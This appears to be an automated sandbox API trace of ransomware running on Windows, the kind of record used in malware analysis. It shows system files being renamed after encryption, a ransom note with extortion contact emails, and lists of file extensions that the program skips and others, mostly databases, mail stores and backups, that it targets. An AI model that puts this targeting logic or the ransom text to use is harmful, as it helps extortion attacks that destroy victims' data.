	[0087.844] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0087.844] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0087.844] CloseHandle (hObject=0x11c) returned 1
	[0087.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b9280
	[0087.844] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.exe.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.~~~~")) returned 1
	[0087.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b9280 | out: hHeap=0x300000) returned 1
	[0087.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0087.845] GetLastError () returned 0x0
	[0088.025] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0088.026] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.026] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0088.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.026] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20801625334) returned 1
	[0088.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9e46a530, dwHighDateTime=0x1d60e1e)) 
	[0088.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0088.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6848
	[0088.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6848 | out: hHeap=0x300000) returned 1
	[0088.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0088.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0088.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0088.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c98
	[0088.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0088.027] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.027] GetLastError () returned 0x0
	[0088.027] GetLastError () returned 0x0
	[0088.027] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.027] GetLastError () returned 0x0
	[0088.027] GetLastError () returned 0x0
	[0088.042] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.042] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0088.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.044] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.044] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.053] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.053] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.053] CloseHandle (hObject=0x124) returned 1
	[0088.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f13d0
	[0088.054] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.~~~~")) returned 1
	[0088.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f13d0 | out: hHeap=0x300000) returned 1
	[0088.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.055] GetLastError () returned 0x0
	[0088.060] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0088.060] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0088.062] CloseHandle (hObject=0x124) returned 1
	[0088.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39feb0 | out: hHeap=0x300000) returned 1
	[0088.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39fe28 | out: hHeap=0x300000) returned 1
	[0088.062] RtlWakeConditionVariable () returned 0x365f70
	[0088.062] GetCurrentThreadId () returned 0x9cc
	[0088.062] GetCurrentThreadId () returned 0x9cc
	[0088.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0088.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd058 | out: hHeap=0x300000) returned 1
	[0088.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f98c8 | out: hHeap=0x300000) returned 1
	[0088.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fd058
	[0088.063] lstrlenW (lpString=".scr") returned 4
	[0088.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".scr") returned 0x0
	[0088.063] lstrlenW (lpString=".cmd") returned 4
	[0088.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".cmd") returned 0x0
	[0088.063] lstrlenW (lpString=".dll") returned 4
	[0088.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".dll") returned 0x0
	[0088.063] lstrlenW (lpString=".bat") returned 4
	[0088.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".bat") returned 0x0
	[0088.063] lstrlenW (lpString=".cpl") returned 4
	[0088.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".cpl") returned 0x0
	[0088.063] lstrlenW (lpString=".sys") returned 4
	[0088.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".sys") returned 0x0
	[0088.063] lstrlenW (lpString=".msc") returned 4
	[0088.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".msc") returned 0x0
	[0088.063] lstrlenW (lpString=".com") returned 4
	[0088.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".com") returned 0x0
	[0088.063] lstrlenW (lpString=".lnk") returned 4
	[0088.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".lnk") returned 0x0
	[0088.064] lstrlenW (lpString=".msp") returned 4
	[0088.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".msp") returned 0x0
	[0088.064] lstrlenW (lpString=".pif") returned 4
	[0088.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch=".pif") returned 0x0
	[0088.064] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0088.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0088.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\picnic-q-promote.exe" (normalized: "c:\\program files\\common files\\picnic-q-promote.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd058 | out: hHeap=0x300000) returned 1
	[0088.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0088.064] RtlWakeConditionVariable () returned 0x365f70
	[0088.064] GetCurrentThreadId () returned 0x9cc
	[0088.064] GetCurrentThreadId () returned 0x9cc
	[0088.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0088.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd0d0 | out: hHeap=0x300000) returned 1
	[0088.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9890 | out: hHeap=0x300000) returned 1
	[0088.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fd0d0
	[0088.064] lstrlenW (lpString=".scr") returned 4
	[0088.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".scr") returned 0x0
	[0088.065] lstrlenW (lpString=".cmd") returned 4
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".cmd") returned 0x0
	[0088.065] lstrlenW (lpString=".dll") returned 4
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".dll") returned 0x0
	[0088.065] lstrlenW (lpString=".bat") returned 4
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".bat") returned 0x0
	[0088.065] lstrlenW (lpString=".cpl") returned 4
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".cpl") returned 0x0
	[0088.065] lstrlenW (lpString=".sys") returned 4
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".sys") returned 0x0
	[0088.065] lstrlenW (lpString=".msc") returned 4
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".msc") returned 0x0
	[0088.065] lstrlenW (lpString=".com") returned 4
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".com") returned 0x0
	[0088.065] lstrlenW (lpString=".lnk") returned 4
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".lnk") returned 0x0
	[0088.065] lstrlenW (lpString=".msp") returned 4
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".msp") returned 0x0
	[0088.065] lstrlenW (lpString=".pif") returned 4
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch=".pif") returned 0x0
	[0088.065] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0088.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp", lpSrch="msp\r\n.pif") returned 0x0
	[0088.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd0d0 | out: hHeap=0x300000) returned 1
	[0088.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0088.134] RtlWakeConditionVariable () returned 0x365f70
	[0088.134] GetCurrentThreadId () returned 0x9cc
	[0088.134] GetCurrentThreadId () returned 0x9cc
	[0088.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bcb28
	[0088.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1a40 | out: hHeap=0x300000) returned 1
	[0088.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b0c8 | out: hHeap=0x300000) returned 1
	[0088.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1a40
	[0088.134] lstrlenW (lpString=".scr") returned 4
	[0088.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".scr") returned 0x0
	[0088.134] lstrlenW (lpString=".cmd") returned 4
	[0088.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".cmd") returned 0x0
	[0088.134] lstrlenW (lpString=".dll") returned 4
	[0088.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".dll") returned 0x0
	[0088.134] lstrlenW (lpString=".bat") returned 4
	[0088.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".bat") returned 0x0
	[0088.134] lstrlenW (lpString=".cpl") returned 4
	[0088.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".cpl") returned 0x0
	[0088.134] lstrlenW (lpString=".sys") returned 4
	[0088.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".sys") returned 0x0
	[0088.134] lstrlenW (lpString=".msc") returned 4
	[0088.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".msc") returned 0x0
	[0088.134] lstrlenW (lpString=".com") returned 4
	[0088.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".com") returned 0x0
	[0088.135] lstrlenW (lpString=".lnk") returned 4
	[0088.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".lnk") returned 0x0
	[0088.135] lstrlenW (lpString=".msp") returned 4
	[0088.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".msp") returned 0x0
	[0088.135] lstrlenW (lpString=".pif") returned 4
	[0088.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".pif") returned 0x0
	[0088.135] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0088.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0088.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\msmapi32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
	[0088.135] lstrlenW (lpString=".sqb") returned 4
	[0088.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".sqb") returned 0x0
	[0088.135] lstrlenW (lpString=".ost") returned 4
	[0088.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".ost") returned 0x0
	[0088.136] lstrlenW (lpString=".txt") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".txt") returned 0x0
	[0088.136] lstrlenW (lpString=".mdt") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".mdt") returned 0x0
	[0088.136] lstrlenW (lpString=".BDB") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".BDB") returned 0x0
	[0088.136] lstrlenW (lpString=".eql") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".eql") returned 0x0
	[0088.136] lstrlenW (lpString=".DBF") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".DBF") returned 0x0
	[0088.136] lstrlenW (lpString=".EQL") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".EQL") returned 0x0
	[0088.136] lstrlenW (lpString=".FDB") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".FDB") returned 0x0
	[0088.136] lstrlenW (lpString=".EDB") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".EDB") returned 0x0
	[0088.136] lstrlenW (lpString=".DACPAC") returned 7
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".DACPAC") returned 0x0
	[0088.136] lstrlenW (lpString=".VHD") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".VHD") returned 0x0
	[0088.136] lstrlenW (lpString=".DBV") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".DBV") returned 0x0
	[0088.136] lstrlenW (lpString=".dacpac") returned 7
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".dacpac") returned 0x0
	[0088.136] lstrlenW (lpString=".sdf") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".sdf") returned 0x0
	[0088.136] lstrlenW (lpString=".accdb") returned 6
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".accdb") returned 0x0
	[0088.136] lstrlenW (lpString=".DBX") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".DBX") returned 0x0
	[0088.136] lstrlenW (lpString=".MDT") returned 4
	[0088.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".MDT") returned 0x0
	[0088.137] lstrlenW (lpString=".SQB") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".SQB") returned 0x0
	[0088.137] lstrlenW (lpString=".vhd") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".vhd") returned 0x0
	[0088.137] lstrlenW (lpString=".bac") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".bac") returned 0x0
	[0088.137] lstrlenW (lpString=".mdf") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".mdf") returned 0x0
	[0088.137] lstrlenW (lpString=".BAK") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".BAK") returned 0x0
	[0088.137] lstrlenW (lpString=".BAC") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".BAC") returned 0x0
	[0088.137] lstrlenW (lpString=".dbs") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".dbs") returned 0x0
	[0088.137] lstrlenW (lpString=".vhdx") returned 5
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".vhdx") returned 0x0
	[0088.137] lstrlenW (lpString=".NDF") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".NDF") returned 0x0
	[0088.137] lstrlenW (lpString=".dat") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".dat") returned 0x0
	[0088.137] lstrlenW (lpString=".DBS") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".DBS") returned 0x0
	[0088.137] lstrlenW (lpString=".CKP") returned 4
	[0088.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".CKP") returned 0x0
	[0088.137] lstrlenW (lpString=".edb") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".edb") returned 0x0
	[0088.138] lstrlenW (lpString=".PST") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".PST") returned 0x0
	[0088.138] lstrlenW (lpString=".dbf") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".dbf") returned 0x0
	[0088.138] lstrlenW (lpString=".SQL") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".SQL") returned 0x0
	[0088.138] lstrlenW (lpString=".pst") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".pst") returned 0x0
	[0088.138] lstrlenW (lpString=".dbv") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".dbv") returned 0x0
	[0088.138] lstrlenW (lpString=".SDF") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".SDF") returned 0x0
	[0088.138] lstrlenW (lpString=".dtxs") returned 5
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".dtxs") returned 0x0
	[0088.138] lstrlenW (lpString=".db3") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".db3") returned 0x0
	[0088.138] lstrlenW (lpString=".OST") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".OST") returned 0x0
	[0088.138] lstrlenW (lpString=".dbx") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".dbx") returned 0x0
	[0088.138] lstrlenW (lpString=".DB3") returned 4
	[0088.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL", lpSrch=".DB3") returned 0x0
